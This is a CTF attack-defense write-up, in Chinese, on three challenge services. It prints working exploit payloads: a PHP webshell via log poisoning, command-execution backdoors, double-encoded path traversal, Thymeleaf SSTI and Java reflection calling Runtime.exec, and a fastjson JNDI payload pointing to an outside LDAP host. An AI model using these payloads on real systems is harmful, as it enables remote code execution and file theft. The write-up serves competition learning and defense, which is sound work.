国赛awd_final wp
全场倒数第一战队的wp,thai真是又菜又爱玩,师傅们轻点喷
awd准备
经过这次国赛awd的锻炼,发现awd提前准备的脚本:
备份>流量监控>批量打全场+自动化交flag>通防/修复
这次主要流量监控和批量打全场都做的不太好,下次吸取教训了!
关于分数
赛后复盘后觉得,分数是这样算的:
得分:
提交一个flag初始分数为50,如果有x个选手提交同一个flag,则每个选手均分这个flag的分值,即每个选手得到50/x分
(所以早点打全场,就可以拿到很多分数,晚点就被人均分完了)
宕机扣50分
被提交flag,也扣50分
(也就是说一轮最坏的情况就是既宕机也被交flag扣50+50分)
可以看得出来,在一轮中,假如修复成功的最优情况是避免扣100分,如果攻击成功的最优情况是拿到50*x(x为队伍数量)的分数,所以看得出主办方是鼓励进攻的(这个赛前想到了)
easyphp
赛后通过和师傅们的交流,应该是有3个攻击方法
正常代审
当时丢进d盾,找到了预设后门,
那就注释一下system(攻击方法1),应该是成功修复,但是可想而知没防住
1.php
index.php
然后这里需要进入session那个if,翻到前面有个反序列化
user=a%3A1%3A%7Bs%3A8%3A%22usertype%22%3Bs%3A5%3A%22super%22%3B%7D&cmd=ls
之后我们没有宕机(因为扣分不多),接着抓流量去了
本来人手多的话我应该丢seay代审一下(但是人手太少了,只能先看看easyjava),以下seay结果:
这里关注第6和第10
这个直接就是可控的后门(攻击方法2)
payload
登录
xxx/admin/api.php?do=system&cid=ls
一个写日志,看上去后缀名不可控,但是
admin/msg.php
这个地方可以日志+文件包含进行攻击 (攻击方法3)
?a=<?=@eval($_POST[xxx]);?>
admin/msg.php?module=mylog.log
据说很多选手也没发现这个,所以经常修不上洞
抓流量(待复现)
玩awd正经人谁还做代审.jpg
https://github.com/DasSecurity-HatLab/AoiAWD
当时部署的是这个,现在想想还挺好用的捏
(当然很显然里面很多东西根本没环境装不了,但是所幸php流量探针是可以用的)
安装思路是本机先搭建好服务端,靶机搭建探针
https://github.com/DasSecurity-HatLab/AoiAWD/blob/master/BUILD.md
服务端直接按照这个搭建好后,最后只要把生成的tapeworm.phar放到靶机上运行tapeworm.phar -s uri 就好了
建议虚拟机装好后,上场直接使用(不建议wsl安装,因为默认的wsl不是桥接出来的,流量探针没法回连)
艹,改两行配置即可,等我学会了分享一下,挖个坑
当然你搭建weblogger也可以
easyjava
正常代审
filter/myFilter.java
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
String request_uri = URLDecoder.decode(request.getRequestURI(), "utf-8");
if (Check.check(request_uri)) {
String static_resources_path = "/usr/local/tomcat/webapps/app/WEB-INF/classes/static/" + request_uri;
static_resources_path = URLDecoder.decode(static_resources_path, "utf-8");
try {
servletResponse.getWriter().write(File.readFile(static_resources_path));
} catch (Exception var8) {
servletResponse.getWriter().write("error~");
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
可以看到filter会读我们的uri,如果通过check.check的话,就可以直接来到File.readFile,这里赤裸裸的文件读取,很容易想到假如没过滤的话直接../../../flag
(当时翻了全部的控制器,然后唯独没有看filter,现在非常后悔)
check.check
public static Boolean check(String path) {
int index = path.lastIndexOf("/");
Iterator var2 = allow_list.iterator();
String allow_path;
do {
if (!var2.hasNext()) {
return false;
}
allow_path = (String)var2.next();
} while(!allow_path.equals(path.substring(0, index)));
return true;
}
这里会check斜杠最后出现的位置,所以需要绕过一下,结论是两次url编码可以绕
payload(攻击方法1)
/css/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag
这个写批量非常方便,可以速度上分
还有一个我现在不太能理解的,还有这个是我抓到的流量
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /login HTTP/1.1" 200 1165
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /setlogin HTTP/1.1" 302 -
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET / HTTP/1.1" 200 4460
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /about?type=__%24%7Bnew+java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22cat+%2Fflag%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x HTTP/1.1" 500 298
可以看出来,流量的思路就是先登录,然后打下面这个payload(攻击方法2)
/about?type=__%24%7Bnew+java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22cat+%2Fflag%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x
我们尝试复现成功了,但是他交互比较麻烦,写批量脚本时出了好多次bug,所以这块没怎么利用上
这块的原理是thymeleaf ssti
看pom
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
about controller
@Controller
public class AboutController {
public AboutController() {
}
@GetMapping({"/about"})
public String about(HttpSession session, @RequestParam(defaultValue = "") String type) {
String username = (String)session.getAttribute("name");
if (StringUtils.isEmpty(username)) {
return "about/tourist/about";
} else {
return !type.equals("") ? "about/" + type + "/about" : "about/user/about";
}
}
}
// 这里有个明显的路径拼接
如果去找静态文件会发现没有关于type的html
以前以为thymeleaf ssti是静态文件里一定要有${xxx},其实不然。https://github.com/veracode-research/spring-view-manipulation
大概就是用了Thymeleaf,路径没有过滤的话,就算没有界面也可以ssti,返回结果是一个报错版的rce效果
效果类似于
还有就是抓到了个这样的流量
175.21.70.165 - - [25/Jul/2023:07:22:29 +0000] "GET /logout?targetclass=java.lang.Runtime&method=exec HTTP/1.1" 302 -
175.21.70.165 - - [25/Jul/2023:07:22:29 +0000] "GET /;jsessionid=305B91B3D9E49B18D75BC3F63F8018DD HTTP/1.1" 200 4467
看看Logout,一个很明显的反射创建类
@Controller
public class LogOutController {
public LogOutController() {
}
@GetMapping({"/logout"})
public String logout(HttpServletRequest request, HttpSession session, @RequestParam(defaultValue = "logout") String method, @RequestParam(defaultValue = "com.mengda.awd.Utils.SessionUtils") String targetclass) throws Exception {
Class<?> ObjectClass = Class.forName(targetclass);
Constructor<?> constructor = ObjectClass.getDeclaredConstructor();
constructor.setAccessible(true);
Object CLassInstance = constructor.newInstance();
try {
Method targetMethod;
if (method.equals("logout")) {
targetMethod = ObjectClass.getMethod(method, HttpSession.class);
targetMethod.invoke(CLassInstance, session);
} else {
targetMethod = ObjectClass.getMethod(method, String.class);
targetMethod.invoke(CLassInstance, request.getHeader("X-Forwarded-For"));
}
return "redirect:/";
} catch (Exception var9) {
return "redirect:/";
}
}
}
前半部分创建CLassInstance类
后半部分getMethod和参数,参数在xff头
我本地起个spring复现一下
就说payload长这样:(攻击方法3)
logout?targetclass=java.lang.Runtime&method=exec
x-f-f:cat /flag
这个写批量也很简单,不需要鉴权,又错过了
最后抓到了个这样的流量
175.21.4.164 - - [25/Jul/2023:07:17:13 +0000] "GET /flag HTTP/1.1" 404 136
175.21.4.164 - - [25/Jul/2023:07:17:13 +0000] "GET /env HTTP/1.1" 404 135
经过线下和师傅们的讨论,源码上没有直接的功能位点,应该是有大佬写内存马进去了
由于是批量写的,所以很多师傅都直接上车了,这个是最简单的上车方式,中大和北邮都这么玩,又错过了55
抓流量
当时上的通防
其实是歪打正着,上了个文件监控(github上的https://github.com/zhong33/fileprotect/blob/main/fileprotect.py),由于这个java存在写文件的操作,所以我们看得见流量等情况
对了,文件监控原是个py,我们本地用pyinstaller编译为elf后上传使用的
文件监控脚本分享https://github.com/zhong33/fileprotect/blob/main/fileprotect.py
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import time
import sys
import shutil
# 设置系统字符集,防止写入log时出现错误
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_746861690a' #hex(thai)
bakstring = 'back_746861690a' #bak_md5(icecoke1)
logstring = 'log_746861690a' #log_md5(icecoke2)
webshellstring = 'webshell_746861690a'#webshell_md5(icecoke3)
difffile = 'difference_746861690a' #diff_md5(icecoke4)
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else:
raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
# 文件MD5消失即为文件被删除,恢复文件
except Exception as e:
print(u'[*] 文件被删除 : ' + str(filepath))
for value in Special_path:
mkdir_p(Special_path[value])
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份当前目录下的所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print(u'---------持续监测文件中------------')
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) - set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception as e:
break
if Special_string not in f:
print(u'[*] 发现疑似WebShell上传文件: ' + str(filepath)+ '时间为:'+str(time.ctime())+'内容为:' +str(f))
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception as e:
break
if Special_string not in f:
print(u'[*] 该文件被修改 : ' + str(filekey)+ '时间为:'+str(time.ctime())+'内容为:' +str(f))
time.sleep(5)
效果展示:
就是上面代审用到的那些,这里也贴个图,这是在控制台输出然后我手动复制粘贴到txt的
现在的准备
网上搜了一圈找不到这种java的脚本
于是写了个java的patch脚本,基于filter和incepter的,其功能有:
1.监控所有访问的流量
2.转发所有的流量到指定ip:port
但是在深入学习和交流后发现,存在一个问题:
1.监控所有的流量存在比较大的人工流量分析的难度,花费时间也多
解决建议是:直接hook进一些主要函数,如命令执行和文件读取,检测response有无flag,然后根据这段时间保存这些流量
2.转发到指定ip:port可能会存在帮别人种马的情况(由于别人不一定直接是执行cat /flag,有可能是写马,或者其他比如访问jndi的操作)
解决建议是:不如转发给自己本机看看流量然后写利用。或者把全部转发掉,不要进controller(反弹攻击)
由于时间有限,又要产出有价值的工具,所以决定先整个能用的:
-
一个摆烂jar包,比如说这次比赛,完全可以全程宕机(没几个修上的),这个jar包可以狠狠的监控流量偷师学艺,并且jar纯静态,不会被打
-
几个摆烂class文件(基于Inceptor和filter),监控别人的流量,于此同时把流量都转发走,不进入控制器
这两个效果都是全程宕机不会被打,不过明显摆烂jar包比较好操作,但是这很看环境因素,说不定另一个awd比赛就不能直接替换jar包了
事不宜迟马上开始写
写好了,丢这里了
https://github.com/hmt38/java_Laplace_Fluid_Maid
easycms
正常代审
大型cms,老规矩先看pom和filter
pom.xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
...
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
fastjson直接找找有没有可控位点
然后我发现idea不太行了,class文件他搜不到
对策是jadx 反编译,左上角文件选择dump(难道这就是tel爷换电脑的原因,膜),之后这个文件夹里可以搜到危险函数
@GetMapping({"/blog/search"})
public String search(HttpServletRequest request, Model model, String search) {
JSONObject article = null;
try {
article = JSONObject.parseObject(search);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(article);
List<BizArticle> articleList = this.bizArticleService.searchList(article.getString("title"));
if (articleList == null) {
throw new ArticleNotFoundException();
}
try {
model.addAttribute("pageUrl", article.getString("pageUrl"));
model.addAttribute("articleList", articleList);
} catch (Exception e2) {
e2.printStackTrace();
}
return CoreConst.THEME_PREFIX + this.bizThemeService.selectCurrent().getName() + "/search";
}
那payload举例就是BOOT-INF/classes/com/puboot/module/blog/controller/BlogWebController.class
/blog/search?search={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}
发现有个文件下载BOOT-INF/classes/com/puboot/module/blog/controller/BlogApiController.class
payload
/download?fileName=../../../../../../../flag
还有一个存在疑惑的ssti
@GetMapping({"/blog/category/{categoryId}", "/blog/category/{categoryId}/{pageNumber}"})
public String category(@PathVariable("categoryId") Integer categoryId, @PathVariable(value = "pageNumber",required = false) Integer pageNumber, Model model) {
if (CoreConst.SITE_STATIC.get()) {
return "forward:/html/index/category/" + (pageNumber == null ? categoryId : categoryId + "/" + pageNumber) + ".html";
} else {
ArticleConditionVo vo = new ArticleConditionVo();
vo.setCategoryId(categoryId);
if (pageNumber != null) {
vo.setPageNumber(pageNumber);
}
model.addAttribute("pageUrl", "blog/category/" + categoryId);
model.addAttribute("categoryId", categoryId);
this.loadMainPage(model, vo);
String name = this.bizThemeService.selectCurrent().getName();
return "theme/" + name + "/index";
}
}
不止这一处,基本上这个控制器大部分路由都有,问题是需要控制name
String name = this.bizThemeService.selectCurrent().getName();
然后我速度瞄了一眼 com.puboot.module.admin.service.BizThemeService;
是个接口
看了一下使用,有很多关于它的增删查改
但是它的bizTheme似乎都是不太可控的东西(或者传入int型),所以我暂时性跳过了
可能有文件上传,但是也不太确定,怪,我进去后只看见接口没看见操作
@PostMapping({"/upload"})
@ResponseBody
public UploadResponse upload(@RequestParam("file") MultipartFile file) {
return this.ossService.upload(file);
}
ossService是个接口,我看了下接口的实现
@Override // com.puboot.module.admin.service.OssService
public UploadResponse upload(MultipartFile file) {
ResponseVo<?> responseVo;
if (file != null) {
if (!file.isEmpty()) {
String originalFilename = file.getOriginalFilename();
String suffix = originalFilename.substring(originalFilename.lastIndexOf(46)).toLowerCase();
CloudStorageConfigVo cloudStorageConfig = (CloudStorageConfigVo) JSON.parseObject(this.sysConfigService.selectAll().get(SysConfigKey.CLOUD_STORAGE_CONFIG.getValue()), CloudStorageConfigVo.class);
String md5 = MD5.getMessageDigest(file.getBytes());
String url = null;
switch (cloudStorageConfig.getType().intValue()) {
case 1:
String domain = cloudStorageConfig.getQiniuDomain();
String filePath = String.format("%1$s/%2$s%3$s", cloudStorageConfig.getQiniuPrefix(), md5, suffix);
responseVo = QiNiuYunUtil.uploadFile(cloudStorageConfig, filePath, file.getBytes());
url = String.format("%1$s/%2$s", domain, filePath);
break;
case 2:
String domain2 = cloudStorageConfig.getAliyunDomain();
String filePath2 = String.format("%1$s/%2$s%3$s", cloudStorageConfig.getAliyunPrefix(), md5, suffix);
responseVo = AliYunUtil.uploadFile(cloudStorageConfig, filePath2, file.getBytes());
url = String.format("%1$s/%2$s", domain2, filePath2);
break;
case 3:
default:
responseVo = ResultUtil.error("未配置云存储类型");
break;
case 4:
String relativePath = FileUploadUtil.uploadLocal(file, this.fileUploadProperties.getUploadFolder());
String accessPrefixUrl = this.fileUploadProperties.getAccessPrefixUrl();
if (!StrUtil.endWith(accessPrefixUrl, "/")) {
accessPrefixUrl = accessPrefixUrl + '/';
}
url = accessPrefixUrl + relativePath;
responseVo = ResultUtil.success();
break;
}
if (responseVo.getStatus().equals(CoreConst.SUCCESS_CODE)) {
return UploadResponse.success(url, originalFilename, suffix, url, CoreConst.SUCCESS_CODE);
}
return UploadResponse.failed(originalFilename, CoreConst.FAIL_CODE, responseVo.getMsg());
}
}
throw new UploadFileNotFoundException(UploadResponse.ErrorEnum.FILE_NOT_FOUND.msg);
}
可能还是过于复杂了,这里当然是建议直接黑盒测比较好
抓流量
这个同easyjava吧